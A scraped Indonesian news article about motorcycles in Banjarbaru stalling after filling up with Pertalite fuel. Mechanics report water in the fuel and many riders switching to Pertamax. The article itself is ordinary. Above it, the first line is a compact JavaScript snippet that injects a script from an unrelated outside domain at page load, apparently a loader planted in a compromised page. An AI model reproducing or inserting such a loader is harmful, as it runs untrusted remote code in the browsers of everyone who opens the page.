(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Motor Ngadat Gegara Pertalite, Bengkel di Banjarbaru ‘Rawat Inap’ 15 Unit Sehari


KANALKALIMANTAN.COM, BANJARBARU – Kasus sepeda motor brebet ‘rawat jalan’ di bengkel semakin banyak terjadi di Kota Banjarbaru, Kalimantan Selatan.

Salah satu bengkel sepea motor di Jalan Panglima Batur Banjarbaru, menjadi bengkel yang paling banyak didatangi pemilik motor dengan keluhan mendadak mogok pasca konsumsi BBM jenis Pertalite.

Rahmat, mekanik di bengkel ini mengatakan, hampir setiap hari dia memperbaiki sampai 7 unit sepeda motor yang mogok dengan gejalan mesin mati tiba-tiba.

“Lumayan banyak, sehari ada tujuh buah, gara-gara minyak setelah dicek,” ungkap Rahmat.

Baca juga: Driver Ojol Kena Dampak Brebet Diduga Usai Isi Pertalite, Hingga Beralih ke Pertamax

Beberapa keluhan motor mogok secra tiba-tiba, setelah diperiksa terdapat air dalam kandungan BBM di tangki sepeda motor yang masuk ‘rawat jalan’.

“Minyaknya, kayak ada airnya. Kendaraannya jadinya mogok, mati tiba-tiba. Pelanggan bilang ada yang ngisi di pom, ada yang di eceran, Pertalite kebanyakan,” ungkap dia.

Kasus motor mogok tiba-tiba, banyak ditemui sekitar setengah bulan terakhir. Dan ia mengklaim semakin hari semakin meningkat pelanggan yang mengeluhkan kondisi motor brebet itu.

Baca juga: Para Penjaga Listrik: Semangat Kepahlawanan di Menara Transmisi

Iman, mekanik bengkel di Jalan Nadjmi Adhani juga mendapati banyak pelanggan dengan keluhan sama. Mogok seusai diisi dengan BBM subisidi.

“Sekitar setengah bulan ini, setiap hari itu ada 15-20 unit masuk, gara-gara minyak. Diservis, ada yang brebet, tapi kadang ada juga yang sampai mati total,” ucap Iman.

Sebagai mekanik, ia menguras tangki sepeda motor yang mogok berisi BBM Pertalite, kemudian mengganti bahan bakar minyak jenis Pertamax.

Alhasil, sepeda motor yang diganti dengan BBM non subsidi, katanya, menjadi bagus seperti sebelum mogok.

Baca juga: YouthFest Banjarmasin 2025 Wadah Apresiasi Para Pemuda

“Termasuk kita mengganti busi, pompa-pompanya dicek, kalau memang tidak kuat lagi, karena pengaruh minyak campur air diganti juga pompa minyaknya,” jelasnya.

Dengan kasus motor masyarakat masuk bengkel seteleh diberi bahan bakar Pertalite, katanya membuat para pemilik sepeda motor beralih ke bahan bakar Pertamax.

“Kayaknya berkurang yang ke bengkel, mungkin karena masyarakat tahu sudah mereka nggak pakai Pertalite lagi, ganti Pertamax,” ungkap Iman.

Masih kata Iman, jika kebanyakan yang menjadi korban motor bermasalah adalah para driver ojek online.

Baca juga: Tim Putra Putri Voli Indoor Banjarbaru Bidik Emas

“Gojek yang banyak, karena mereka kan membeli bahan bakar yang lebih murah, tapi ya berakibat kayak gitu akhirnya,” tambahnya.

Ia masih belum mengetahui penyebab banyaknya sepeda motor yang brebet, apakah karena ada kandungan lain yang dicampur ke dalam BBM yang dijual atau yang lainnya.

Kendati demikian Iman meyakini bahwa Pertalite yang kerap ditemui saat ini memiliki aroma berbeda dari biasanya.

“Gak ngerti kami itu, tapi yang pasti Pertalite dulu dengan sekarang aromanya itu berbeda,” pungkas Iman. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Risa

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

10 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

11 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

11 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

13 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

19 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.